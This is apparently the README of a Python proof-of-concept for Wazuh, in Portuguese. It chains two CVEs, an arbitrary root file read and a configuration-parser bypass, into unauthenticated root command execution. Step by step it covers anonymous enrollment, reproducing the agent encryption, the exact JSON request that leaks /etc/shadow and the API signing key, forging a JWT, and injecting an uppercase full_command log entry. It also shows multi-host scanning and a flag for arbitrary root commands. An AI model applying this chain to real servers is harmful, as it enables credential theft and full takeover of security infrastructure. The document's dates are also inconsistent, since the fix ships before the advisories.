
Wazuh PoC encadeando leitura de arquivo CVE-2026-74034 e execução de comando CVE-2026-74041; corrigido em 4.14.8. Apenas biblioteca padrão do Python.
PoC multi-host em arquivo único, apenas stdlib, encadeando CVE-2026-74034 e CVE-2026-74041. Ambos os avisos foram publicados em 13 de outubro de 2026; as correções foram entregues no Wazuh 4.14.8 em 23 de setembro de 2026. A versão 4.14.8 é a versão corrigida, não um alvo afetado.
O script implementa a seguinte cadeia quando os serviços de gerenciador necessários estão acessíveis e o registro de agentes sem senha está habilitado:
recon :55000/:1515/:1514
│
├─ Phase 2 anonymous enrollment on TCP/1515 (TLS) ──► agent id + 64-hex key
│
├─ Phase 3 OSSEC agent secure channel on TCP/1514 ──► CVE-2026-74034
│ queue 'u' (UPGRADE_MQ) upgrade_custom arbitrary ROOT file read
│ with parameters.file_path = /etc/shadow …
│
└─ Phase 4 ES512 JWT forged from the leaked ──► CVE-2026-74041
/var/ossec/api/configuration/security/ ROOT RCE via the
private_key.pem → PUT /manager/configuration check_remote_commands
parser differential (+ restart) parser differential
Nenhuma credencial pré-existente é necessária quando o enrollment authd sem senha fornecido por padrão está acessível (<auth><use_password>no</use_password>).
Uma senha de enrollment ou um certificado de cliente obrigatório altera essa precondição.
A CVE-2026-74041 isoladamente exige um usuário autenticado da API com permissão de atualização de configuração; nesta cadeia, o acesso à API decorre da divulgação da chave de assinatura.
| CVE | CVSS / vetor | Afetado | Resumo |
|---|---|---|---|
| CVE-2026-74034 | 7.5, PR:N | >=4.1.0 <4.14.8 | parameters.file_path de upgrade_custom é aberto pelo ROOT wm_agent_upgrade com apenas uma verificação de existência via wfopen() e transmitido de volta ao agente registrado → leitura arbitrária de arquivos como root |
| CVE-2026-74041 | 9.1 (CVSS 3.1), PR:H | >=4.14.3 <4.14.8 | check_remote_commands aceita um <LOG_FORMAT> em maiúsculas que o validador Python sensível a maiúsculas/minúsculas não detecta, mas o logcollector em C insensível a maiúsculas/minúsculas honra → full_command localfile como root |
Os dois intervalos de versões descrevem as falhas individuais; a sobreposição documentada
para a cadeia completa é >=4.14.3 <4.14.8. Outros avisos estão fora deste PoC.
pip, sem pycryptodome, sem cryptography).1515, 1514, 55000.# single host
python3 wazuh_poc.py 192.0.2.10
python3 wazuh_poc.py 192.0.2.10 --port 55000
python3 wazuh_poc.py https://192.0.2.10:55000
python3 wazuh_poc.py 192.0.2.10:55000
# many hosts, one per line ('#' comments allowed)
python3 wazuh_poc.py -f hosts.txt --threads 10
# phases 1-3 only (no config write / restart)
python3 wazuh_poc.py -f hosts.txt --no-rce
# leave the uploaded config / marker in place (NO cleanup)
python3 wazuh_poc.py 192.0.2.10 --keep
# override the phase-4 root command
python3 wazuh_poc.py 192.0.2.10 --cmd 'id; hostname > /var/ossec/etc/lists/zz_pwned 2>&1'
| Flag | Padrão | Significado |
|---|---|---|
--port | 55000 | porta da API REST do Wazuh |
--authd-port | 1515 | porta de enrollment do authd |
--remoted-port | 1514 | porta do canal seguro do agente |
--timeout | 10 | timeout do socket (s) |
--agent-name | poc-<rand8> | nome registrado no manager |
--cmd | (id; hostname) > …/zz_pwned | comando root da fase 4 |
--no-rce | desativado | pula a fase 4 |
--keep | desativado | não restaura ossec.conf / exclui o marcador |
--debug | desativado | exibe mensagens do protocolo |
--threads | 5 | paralelismo de hosts |
--api-user | wazuh | nome de usuário a inserir no JWT forjado |
A saída é sempre graciosa por host: uma recusa, um authd protegido por senha, uma versão corrigida ou uma incompatibilidade criptográfica é reportada com o ponto de bloqueio exato e a execução continua com os hosts restantes.
Sonda TCP 55000 (API), 1515 (authd), 1514 (remoted). Requer GET / com
verificação TLS desativada e reporta api_version quando a API a expõe
sem autenticação. Em builds reforçados, GET / retorna 401; a versão real do
manager é então recuperada na fase 3 a partir de /var/ossec/VERSION.json e sinalizada contra
4.14.8.
Conexão TLS (o authd 4.4+ é somente TLS; o script também tenta novamente TCP puro para builds
muito antigos), depois OSSEC A:'<name>'\n. O manager responde
OSSEC K:'<id> <name> <ip> <key>'; o script mantém a chave de agente de 64 hex.
Reproduz a criptografia do agente Wazuh a partir de src/os_crypto/shared/msgs.c:
[4-byte little-endian length][payload]!<id>!#AES:<ciphertext> para agentes dinâmicos (ip=any)MD5(agent_key_hex) (32 bytes ASCII), IV FEDCBA0987654321,
PKCS#7!…! + zlib(MD5_hex(plain) + "%05rand%010global:%04local:" + msg)Envia #!-agent startup {"version":"v4.14.6"} e um keepalive carregando
plataforma/arquitetura Ubuntu para que o agente se torne active no banco de dados global, depois uma tarefa de fila u
(UPGRADE_MQ):
{"command":"upgrade_custom","parameters":{"file_path":"/etc/shadow","installer":"upgrade.sh"}}
analysisd encaminha para WM_UPGRADE_SOCK; o wazuh-modulesd ROOT abre o arquivo
(wfopen, sem verificações de caminho/extensão/assinatura) e transmite os bytes brutos de volta como
chunks write em base64. O script os remonta e imprime linhas [ACC] ao vivo:
| arquivo | tratamento |
|---|---|
/etc/shadow | apenas linhas root: / wazuh: (hash impresso na íntegra) |
/var/ossec/etc/client.keys | completo (truncado em 25 linhas, bytes contados) |
/var/ossec/etc/authd.pass | completo (ausente quando o enrollment é anônimo) |
/var/ossec/api/configuration/security/private_key.pem | completo |
/var/ossec/etc/ossec.conf | <key> do cluster, credenciais do indexer, senha de <auth> |
/var/ossec/VERSION.json | fallback de versão para recon |
Entre os arquivos, o script envia upgrade_update_status (caso contrário, o gerenciador de tarefas
mantém o agente como In progress e recusa a próxima tarefa).
iss=wazuh, aud="Wazuh API REST", sub=wazuh, rbac_roles=[1],
rbac_mode=white, exp-nbf=900). Verificado contra GET /agents.GET /manager/configuration?raw=true, insira antes do último
</ossec_config> um <localfile> com um chamariz <log_format>syslog</log_format>
em minúsculas e um <LOG_FORMAT>full_command</LOG_FORMAT> em maiúsculas, além do comando.PUT /manager/configuration (application/octet-stream), depois PUT /manager/restart.GET /lists/files/zz_pwned?raw=true para obter a saída do comando como root.--keep: PUT do ossec.conf original, reinicie e
DELETE /lists/files/zz_pwned (com novas tentativas até que o marcador desapareça).